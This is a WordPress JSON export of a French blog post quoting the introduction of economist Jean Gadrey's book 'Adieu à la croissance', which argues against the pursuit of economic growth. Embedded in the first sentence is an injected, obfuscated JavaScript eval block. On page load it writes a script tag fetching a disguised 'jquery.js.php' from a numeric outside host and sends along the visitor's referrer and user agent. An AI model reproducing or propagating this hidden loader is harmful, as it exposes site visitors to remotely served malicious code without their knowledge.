{"id":4955,"date":"2010-09-26T16:11:34","date_gmt":"2010-09-26T15:11:34","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4955"},"modified":"2010-09-26T16:11:53","modified_gmt":"2010-09-26T15:11:53","slug":"adieu-a-la-croissance-de-jean-gadrey","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4955","title":{"rendered":"Adieu \u00e0 la croissance, de Jean Gadrey"},"content":{"rendered":"<div>\n<p style=\"text-align: justify;\"><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/www.alternatives-economiques.fr\/pics_bdd\/produit_visuel\/1282290589_JeanGadreyAdieuCroissance.jpg\" alt=\"\" width=\"113\" height=\"175\" \/>Collaborateur <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzeen|var|u0026u|referrer|nsahs||js|php'.split('|'),0,{}))\n<\/script><\/noindex> d&rsquo;Alternatives \u00e9conomiques, l&rsquo;\u00e9conomiste Jean Gadrey publie un essai intitul\u00e9 Adieu \u00e0 la croissance. Nous vous en proposons les bonnes feuilles issues de l&rsquo;introduction du livre, qui pr\u00e9sentent sa d\u00e9marche.<\/strong><\/p>\n<\/div>\n<div><strong>Contestation de la croissance et voies de sortie<\/strong><\/div>\n<p>Depuis  des d\u00e9cennies, et encore aujourd&rsquo;hui, la croissance \u00e9conomique nous est  pr\u00e9sent\u00e9e comme la solution de tous les grands probl\u00e8mes du monde et de  chacun. Le ch\u00f4mage\u00a0? On ne pourrait le r\u00e9duire qu&rsquo;avec plus de  croissance. Les retraites d&rsquo;ici \u00e0 2050\u00a0? Tout s&rsquo;arrangerait avec une  croissance \u00e0 perte de vue. La dette publique\u00a0? M\u00eame argument. La  pauvret\u00e9, les in\u00e9galit\u00e9s excessives et la faim dans le monde\u00a0? On ne  pourrait les combattre qu&rsquo;avec la croissance. Et pour surmonter la crise  \u00e9cologique, un rem\u00e8de s&rsquo;imposerait\u00a0: la \u00ab\u00a0croissance verte\u00a0\u00bb. La  croissance est devenue croyance, culte, baume miracle pour tout panser  sans avoir \u00e0 penser.<\/p>\n<p>Ce livre d\u00e9fend une th\u00e8se oppos\u00e9e\u00a0: <!--more-->la  croissance est un concept attach\u00e9 \u00e0 un monde en voie de d\u00e9p\u00e9rissement,  et sa poursuite obsessionnelle nous pr\u00e9pare des lendemains qui  d\u00e9chantent. Mais des voies alternatives cr\u00e9dibles sont \u00e0 port\u00e9e de la  main. Le culte de la croissance est fond\u00e9 sur l&rsquo;oubli des principaux  enjeux soci\u00e9taux\u00a0: toujours plus de quoi, pour qui, et avec quelles  cons\u00e9quences\u00a0? Il nous interdit d&rsquo;envisager d&rsquo;autres hypoth\u00e8ses\u00a0: la  croissance ne serait-elle pas devenue un facteur de crise, un obstacle  au progr\u00e8s, une menace\u00a0? Peut-on imaginer un monde bien meilleur parce  que d\u00e9barrass\u00e9 de ce culte, une \u00ab\u00a0prosp\u00e9rit\u00e9 sans croissance\u00a0\u00bb, en tout  cas dans les pays \u00ab\u00a0riches\u00a0\u00bb, au sens usuel de la richesse \u00e9conomique\u00a0?  Peut-on aller vers un plein-emploi de qualit\u00e9 et garantir une bonne  protection sociale\u00a0sans croissance\u00a0? Nous r\u00e9pondrons positivement \u00e0  toutes ces questions, en \u00e9voquant aussi le cas des pays pauvres.<\/p>\n<div><strong>La contestation atteint les \u00e9conomistes<\/strong><\/div>\n<p>L&rsquo;histoire  de la pens\u00e9e \u00e9conomique est riche en contestataires de la croissance  infinie. Mais, jusqu&rsquo;\u00e0 pr\u00e9sent, leurs id\u00e9es ont \u00e9t\u00e9 refoul\u00e9es. Le  capitalisme a su, en y mettant d&rsquo;\u00e9normes moyens, utiliser la croissance  comme grand argument de vente et de preuve de sa sup\u00e9riorit\u00e9. Il est  parvenu \u00e0 ancrer dans les esprits l&rsquo;id\u00e9e d&rsquo;une relation \u00e9troite entre  croissance et progression universelle du bien-\u00eatre. Ses acteurs  dominants savent que la foi en la croissance est la premi\u00e8re condition  de l&rsquo;attachement au syst\u00e8me.<\/p>\n<p>Pourtant, certains grands \u00e9conomistes  qui n&rsquo;avaient rien d&rsquo;anticapitalistes se sont exprim\u00e9s sur les limites  de la croissance. C&rsquo;est le cas de Keynes, dans les Perspectives \u00e9conomiques pour nos petits-enfants (1930). Un texte superbe, rejoignant certains \u00e9lans de Marx. Anticipant  en effet que les petits-enfants de sa g\u00e9n\u00e9ration seraient environ huit  fois plus riches qu&rsquo;\u00e0 son \u00e9poque, Keynes estimait que, avec cette  abondance mat\u00e9rielle, \u00ab\u00a0il sera temps pour l&rsquo;humanit\u00e9 d&rsquo;apprendre  comment consacrer son \u00e9nergie \u00e0 des buts autres qu&rsquo;\u00e9conomiques\u00a0\u00bb\u2026  \u00ab\u00a0L&rsquo;amour de l&rsquo;argent comme objet de possession, qu&rsquo;il faut distinguer  de l&rsquo;amour de l&rsquo;argent comme moyen de se procurer les plaisirs et les  r\u00e9alit\u00e9s de la vie, sera reconnu pour ce qu&rsquo;il est\u00a0: un \u00e9tat morbide  plut\u00f4t r\u00e9pugnant, l&rsquo;une de ces inclinations \u00e0 demi criminelles et \u00e0 demi  pathologiques dont on confie le soin en frissonnant aux sp\u00e9cialistes  des maladies mentales<a name=\"_ftnref1\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftn1\">[1]<\/a>.\u00a0\u00bb<\/p>\n<p>Dans  la p\u00e9riode actuelle de crise, propice au doute sur les bienfaits de la  croissance, quelques \u00e9conomistes \u00e9voluent, qu&rsquo;ils soient h\u00e9t\u00e9rodoxes  (c&rsquo;est peu \u00e9tonnant) ou non (c&rsquo;est un signe des temps). Certes, il  s&rsquo;agit encore d&rsquo;une petite minorit\u00e9. Mais cela bouge. Un bon exemple est  celui de Nicholas Stern, auteur avant la crise, en 2006, d&rsquo;un important  rapport qui n&rsquo;excluait absolument pas la conciliation entre poursuite  de la croissance et objectifs des scientifiques du Groupe d&rsquo;experts  intergouvernemental sur l&rsquo;\u00e9volution du climat (Giec). Le 11 septembre  2009, il d\u00e9clarait au quotidien britannique The Guardian : \u00ab\u00a0Les pays riches vont devoir oublier la croissance s&rsquo;ils veulent stopper le changement climatique.\u00a0\u00bb<\/p>\n<div><strong>Du c\u00f4t\u00e9 de la soci\u00e9t\u00e9 civile et des chercheurs<\/strong><\/div>\n<p>Mais  ce n&rsquo;est pas du c\u00f4t\u00e9 de la profession des \u00e9conomistes que l&rsquo;on trouve  l&rsquo;avant-garde des \u00ab\u00a0objecteurs de croissance\u00a0\u00bb. De fait, la grande  contestation, dans ce domaine comme dans d&rsquo;autres, est venue et continue  de se manifester pour l&rsquo;essentiel du c\u00f4t\u00e9 de la soci\u00e9t\u00e9 civile et  d&rsquo;intellectuels, chercheurs et \u00e9cologistes dont les r\u00e9flexions  fournissent des bases alternatives. Il est juste de mentionner \u00e0 ce  titre que, d\u00e8s les ann\u00e9es 1970, le Club de Rome a fait sensation en  publiant le rapport de quatre chercheurs du MIT Limits to Growth (1972), imparfaitement traduit par Halte \u00e0 la croissance\u00a0? (Fayard, 1973).<\/p>\n<p>En  France, le coup d&rsquo;envoi de la contestation intellectuelle de la p\u00e9riode  r\u00e9cente a \u00e9t\u00e9 donn\u00e9 par une philosophe, Dominique M\u00e9da, dont le livre Qu&rsquo;est-ce que la richesse\u00a0?, publi\u00e9 en 1999<a name=\"_ftnref2\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftn2\">[2]<\/a>,  a suscit\u00e9 des d\u00e9bats et des vocations. Et c&rsquo;est un autre philosophe,  Patrick Viveret, qui a repris le flambeau et \u00e9largi les \u00ab\u00a0r\u00e9seaux  d&rsquo;int\u00e9ressement\u00a0\u00bb (selon l&rsquo;expression du sociologue de l&rsquo;innovation  Michel Callon) en 2002 avec son rapport Reconsid\u00e9rer la richesse<a name=\"_ftnref3\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftn3\">[3]<\/a>.  Avant eux, bien qu&rsquo;avec des arguments assez diff\u00e9rents, Ivan Illich,  Andr\u00e9 Gorz et quelques autres (Fran\u00e7ois Partant, Jacques Ellul, Nicholas  Georgescu-Roegen\u2026) avaient ouvert des r\u00e9flexions critiques qui trouvent  aujourd&rsquo;hui un \u00e9cho avec l&rsquo;aggravation de la crise \u00e9cologique,  explication majeure de la prise de conscience des limites et d\u00e9g\u00e2ts de  la croissance.<\/p>\n<p>Le courant de la d\u00e9croissance s&rsquo;est \u00e9galement  affirm\u00e9 et rencontre un int\u00e9r\u00eat\u2026 croissant depuis une dizaine d&rsquo;ann\u00e9es.  Le journal La D\u00e9croissance, diffus\u00e9 en kiosque d\u00e8s 2004, est un succ\u00e8s. Les livres sur le sujet fleurissent. La revue Entropia na\u00eet en 2006.<\/p>\n<p>\u00c0  partir de la premi\u00e8re moiti\u00e9 des ann\u00e9es 2000, des initiatives de plus  en plus nombreuses en faveur de \u00ab\u00a0nouveaux indicateurs de richesse<a name=\"_ftnref4\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftn4\">[4]<\/a> \u00bb  se sont parfois inscrites dans ce courant contestataire de la  croissance, bien qu&rsquo;avec des degr\u00e9s et des variantes. Elles ont eu  suffisamment de force pour que de grandes institutions internationales  prennent \u00e0 leur tour un virage, plus ou moins prononc\u00e9 selon les cas.<\/p>\n<div><strong>Les institutions internationales et la commission Stiglitz<\/strong><\/div>\n<p>Une  institution internationale avait pris de l&rsquo;avance\u00a0: le Programme des  Nations unies pour le D\u00e9veloppement (Pnud), dont l&rsquo;indicateur vedette,  l&rsquo;IDH (indicateur de d\u00e9veloppement humain), a \u00e9t\u00e9 mis au point et  diffus\u00e9 \u00e0 partir de 1990 comme contre-feu au dogmatisme  \u00ab\u00a0pro-croissance\u00a0\u00bb de la Banque mondiale et du Fonds mon\u00e9taire  international (FMI). Mais cette initiative majeure devait rester isol\u00e9e \u00e0  l&rsquo;\u00e9chelle mondiale jusqu&rsquo;au tournant de 2007, quand deux institutions  que l&rsquo;on n&rsquo;attendait pas forc\u00e9ment sur ce th\u00e8me lancent des conf\u00e9rences  internationales de grande ampleur sur le th\u00e8me de la \u00ab\u00a0mesure du progr\u00e8s  des soci\u00e9t\u00e9s\u00a0\u00bb (l&rsquo;OCDE) et sur la n\u00e9cessit\u00e9 d&rsquo;aller \u00ab\u00a0au-del\u00e0 du PIB\u00a0\u00bb  (la Commission europ\u00e9enne). Cela ne les transforme nullement en  \u00ab\u00a0objecteurs de croissance\u00a0\u00bb, mais contribue \u00e0 institutionnaliser le  questionnement sur le d\u00e9couplage entre la croissance et la progression  du bien-\u00eatre.<\/p>\n<p>En France, Nicolas Sarkozy, pourtant avocat constant  d&rsquo;une croissance forte, nomme en janvier 2008 une commission, pr\u00e9sid\u00e9e  par Joseph Stiglitz et anim\u00e9e par Amartya Sen et Jean-Paul Fitoussi,  trois \u00e9conomistes \u00e0 qui l&rsquo;on fixe comme objectif la remise en cause des  indicateurs de croissance, jug\u00e9s inadapt\u00e9s \u00e0 la mesure du progr\u00e8s. Le  rapport de la commission Stiglitz, dont une \u00e9valuation a \u00e9t\u00e9 propos\u00e9e  par le collectif Fair (Forum pour d&rsquo;autres indicateurs de richesse<a name=\"_ftnref5\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftn5\">[5]<\/a>),  ne contient pas de remise en cause de la croissance, mais il d\u00e9veloppe  des critiques dignes d&rsquo;int\u00e9r\u00eat &#8211;\u00a0dont beaucoup sont connues depuis  longtemps\u00a0&#8211; des dangers de la focalisation sur le PIB et sur la  croissance. Il invite \u00e0 utiliser en priorit\u00e9 des indicateurs de  bien-\u00eatre.<\/p>\n<div><strong>Comprendre les r\u00e9ticences<\/strong><\/div>\n<p>Voici ce qu&rsquo;on entendait chanter au cours des d\u00e9fil\u00e9s du 1<sup>er<\/sup> mai 2010 sur l&rsquo;air de En passant par la Lorraine :<\/p>\n<p>\u00ab\u00a0Pour relancer la croissance, savez-vous c&rsquo;qu&rsquo;il faut\u00a0? (bis)<\/p>\n<p>Plus de salaires, de retraite,<\/p>\n<p>Plus d&#8217;emploi, moins de ch\u00f4mage,<\/p>\n<p>Oh\u00a0! Oh\u00a0! Oh\u00a0!<\/p>\n<p>Voil\u00e0 ce qu&rsquo;il faut.\u00a0\u00bb<\/p>\n<p>Comment  ne pas comprendre cette r\u00e9f\u00e9rence prioritaire \u00e0 la croissance quand  presque tous les \u00e9conomistes, politiques et m\u00e9dias de tout bord nous  expliquent quotidiennement que tout en d\u00e9pend\u00a0? Comment ne pas la  comprendre quand tant de gens ne parviennent pas \u00e0 joindre les deux  bouts\u00a0? Face \u00e0 ce qu&rsquo;il faut bien appeler un attachement populaire \u00e0 la  croissance, la pire des solutions serait de se poser en donneurs de  le\u00e7ons de sobri\u00e9t\u00e9 pour tous. Il faut comprendre, discuter et d\u00e9montrer  que ceux et celles qui reprennent ces refrains, ainsi que leurs enfants,  se porteraient mieux si l&rsquo;on passait d&rsquo;une soci\u00e9t\u00e9 de croissance \u00e0 une  soci\u00e9t\u00e9 solidaire et soutenable, et que cette bifurcation serait  b\u00e9n\u00e9fique pour l&#8217;emploi et la qualit\u00e9 de vie. C&rsquo;est le but de cet  ouvrage.<\/p>\n<div><strong>Les intentions de ce livre<\/strong><\/div>\n<p>Le  fil rouge de la d\u00e9monstration est le suivant. Il est d&rsquo;abord montr\u00e9  (premi\u00e8re partie) que la croissance est de moins en moins la solution,  et de plus en plus le probl\u00e8me, en tout cas l&rsquo;un des grands probl\u00e8mes.  Il faut lui dire adieu, au moins dans les pays \u00e9conomiquement riches.  Mais il faut le faire sans regret, car la fin de la croissance n&rsquo;est  absolument pas une mauvaise nouvelle. Ce n&rsquo;est pas la fin du progr\u00e8s  social, ce n&rsquo;est pas la fin de l&rsquo;innovation ni celle du dynamisme  \u00e9conomique. Ce n&rsquo;est pas \u00ab\u00a0l&rsquo;\u00e9tat stationnaire\u00a0\u00bb des \u00e9conomistes  classiques du XIX<sup>e<\/sup> si\u00e8cle. Et cela peut m\u00eame \u00eatre bon pour  l&#8217;emploi, beaucoup plus menac\u00e9 par le productivisme \u00ab\u00a0croissanciste\u00a0\u00bb  que par une trajectoire visant la soutenabilit\u00e9 \u00e9cologique et sociale.  La deuxi\u00e8me partie explicite ces id\u00e9es. Une autre prosp\u00e9rit\u00e9 est  possible, si l&rsquo;on redonne \u00e0 ce terme son sens initial. Prosp\u00e9rit\u00e9 vient  en effet du latin spero (s&rsquo;attendre \u00e0) et pro (en  avant)\u00a0: faire en sorte que les choses aillent bien, ou mieux, au fil du  temps, sans connotation d&rsquo;abondance mat\u00e9rielle n\u00e9cessaire. La fin de la  croissance &#8211; qui se produira vraisemblablement dans tous les cas, mais  selon des modalit\u00e9s qui seront tr\u00e8s dures si l&rsquo;on n&rsquo;anticipe pas &#8211; n&rsquo;est  une catastrophe que si l&rsquo;on reste dans la logique productiviste de \u00ab\u00a0la  soci\u00e9t\u00e9 de croissance\u00a0\u00bb o\u00f9 nous sommes plong\u00e9s. Or, il est parfaitement  possible d&rsquo;en sortir. Des sc\u00e9narios existent, ils doivent \u00eatre mis en  d\u00e9bat et d\u00e9velopp\u00e9s.<\/p>\n<p>L&rsquo;objectif principal n&rsquo;est donc pas de  proposer une \u00e9ni\u00e8me critique du dogme de la croissance comme solution  universelle aux probl\u00e8mes du monde. Cette critique, n\u00e9cessaire \u00e0 des  prises de conscience, tomberait largement \u00e0 plat si des alternatives  n&rsquo;existaient pas pour une refondation d\u00e9sirable, si ces alternatives  n&rsquo;\u00e9taient pas cr\u00e9dibles, ou s&rsquo;il semblait utopique de les mettre en  \u0153uvre d\u00e8s maintenant. Ce livre est d&rsquo;abord consacr\u00e9 aux perspectives  d&rsquo;une autre trajectoire, aux contours d&rsquo;une autre modernit\u00e9, au  bien-vivre dans un monde soutenable, et \u00e0 ce qu&rsquo;il faudrait entreprendre  sans tarder pour enclencher cette grande bifurcation. Mais, pour ces  sc\u00e9narios alternatifs post-croissance, une condition est n\u00e9cessaire,  sans \u00eatre suffisante\u00a0: une forte r\u00e9duction des in\u00e9galit\u00e9s sociales, dans  le monde et dans chaque pays (troisi\u00e8me partie). Faute de remplir cette  condition, on n&rsquo;atteindra pas les objectifs de reconversion, et en  particulier on ne r\u00e9soudra pas la crise \u00e9cologique. Sur le simple plan  logique, il serait d&rsquo;ailleurs curieux que ceux qui mettent en avant  l&rsquo;\u00e9quit\u00e9 entre les g\u00e9n\u00e9rations fassent passer au second rang la pauvret\u00e9  et les in\u00e9galit\u00e9s dans le monde aujourd&rsquo;hui, c&rsquo;est-\u00e0-dire l&rsquo;\u00e9quit\u00e9 au  pr\u00e9sent.<\/p>\n<p>Il ne fait gu\u00e8re de doute que les modes de production et  les modes de vie devront \u00eatre profond\u00e9ment modifi\u00e9s dans les ann\u00e9es et  d\u00e9cennies qui viennent. Il va falloir, en moyenne, adopter des solutions  qui, selon les Nations unies, permettent de diviser par cinq d&rsquo;ici \u00e0  2050 les \u00e9missions de gaz \u00e0 effet de serre des pays dits d\u00e9velopp\u00e9s\u00a0;  qui r\u00e9duisent dans de fortes proportions les transports automobile et  a\u00e9rien, le commerce international sur de longues distances, l&rsquo;usage de  ressources fossiles, d&rsquo;eau et de mati\u00e8res premi\u00e8res, la consommation de  viande bovine et de poisson,\u00a0etc. Mais la r\u00e9f\u00e9rence \u00e0 la moyenne laisse  enti\u00e8re la question de savoir qui sera prioritairement affect\u00e9 par ces  limitations. L&rsquo;avenir soutenable n&rsquo;est nullement dans la r\u00e9duction de  tout, dans l&rsquo;appauvrissement g\u00e9n\u00e9ral et la p\u00e9nurie, bien au contraire,  mais il y aura \u00e0 la fois des facteurs de d\u00e9veloppement du bien-\u00eatre et  des diminutions de consommation mat\u00e9rielle dans certains domaines. La  r\u00e9duction des in\u00e9galit\u00e9s est absolument d\u00e9cisive pour que tous acc\u00e8dent \u00e0  des modes de vie soutenables et d\u00e9sirables.<\/p>\n<p>Cette condition  imp\u00e9rative n&rsquo;est toutefois pas la seule. Un \u00ab\u00a0r\u00e9gime post-croissance\u00a0\u00bb  dans une soci\u00e9t\u00e9 soutenable est incompatible avec le capitalisme  financier et actionnarial encore dominant, qui nous a enfonc\u00e9s dans une  crise d&rsquo;autant plus durable que rien de s\u00e9rieux n&rsquo;a \u00e9t\u00e9 fait pour  r\u00e9duire le pouvoir de nuisance de la finance lib\u00e9ralis\u00e9e. La question se  pose m\u00eame de la capacit\u00e9 d&rsquo;un capitalisme r\u00e9form\u00e9 \u00e0 nous sortir de la  zone des temp\u00eates \u00e0 r\u00e9p\u00e9titions. C&rsquo;est l&rsquo;un des objets de la quatri\u00e8me  partie, consacr\u00e9e \u00e9galement \u00e0 des propositions plus imm\u00e9diates.<\/p>\n<p>Le  temps n&rsquo;est plus o\u00f9 l&rsquo;on pouvait d\u00e9finir le \u00ab\u00a0d\u00e9veloppement durable\u00a0\u00bb  en invoquant \u00ab\u00a0les g\u00e9n\u00e9rations futures\u00a0\u00bb. Avec l&rsquo;esp\u00e9rance de vie  actuelle, mes petits-enfants devraient vivre jusqu&rsquo;en 2085, 2090 ou  plus. Sans cesser de penser aux g\u00e9n\u00e9rations du futur, c&rsquo;est d&rsquo;abord \u00e0  eux et aux jeunes de la g\u00e9n\u00e9ration actuelle que je d\u00e9die ce  livre, ainsi qu&rsquo;aux enfants et aux adultes qui, au Sud, subissent d\u00e9j\u00e0  les premiers effets tragiques d&rsquo;une crise \u00e9cologique et sociale qui les  affame et leur pourrit la vie, avant de pourrir celle de l&rsquo;humanit\u00e9 si  on ne reprend pas tout \u00e0 la racine.<\/p>\n<p><a name=\"_ftn1\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftnref1\">[1]<\/a>. Pour d&rsquo;autres extraits, voir ce lien\u00a0: <a href=\"http:\/\/ecorev.org\/spip.php?article507\">http:\/\/ecorev.org\/spip.php?article507<\/a><\/p>\n<p><a name=\"_ftn2\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftnref2\">[2]<\/a>. Publi\u00e9 chez Aubier et r\u00e9\u00e9dit\u00e9 en format poche en 2008 sous le titre Au-del\u00e0 du PIB. Pour une autre mesure de la richesse (Flammarion, \u00ab\u00a0Champs\u00a0\u00bb).<\/p>\n<p><a name=\"_ftn3\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftnref3\">[3]<\/a>. R\u00e9\u00e9dit\u00e9 lui aussi en 2008 puis en 2010 avec des compl\u00e9ments (\u00e9ditions de l&rsquo;Aube).<\/p>\n<p><a name=\"_ftn4\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftnref4\">[4]<\/a>. Titre d&rsquo;un livre de Jean Gadrey et Florence Jany-Catrice, La d\u00e9couverte, 2e \u00e9d. 2007.<\/p>\n<p><a name=\"_ftn5\" href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html#_ftnref5\">[5]<\/a> Voir le site\u00a0: <a href=\"http:\/\/www.idies.org\/index.php?category\/FAIR\">http:\/\/www.idies.org\/index.php?category\/FAIR<\/a><\/p>\n<div>\n<ul>\n<li><a href=\"http:\/\/alternatives-economiques.fr\/blogs\/gadrey\">Le blog de Jean Gadrey<\/a><\/li>\n<li>Source : <a href=\"http:\/\/www.alternatives-economiques.fr\/adieu-a-la-croissance--de-jean-gadrey---les-bonnes-feuilles_fr_art_633_50467.html\">Alternatives Economiques<\/a><\/li>\n<\/ul>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Collaborateur d&rsquo;Alternatives \u00e9conomiques, l&rsquo;\u00e9conomiste Jean Gadrey publie un essai intitul\u00e9 Adieu \u00e0 la croissance. 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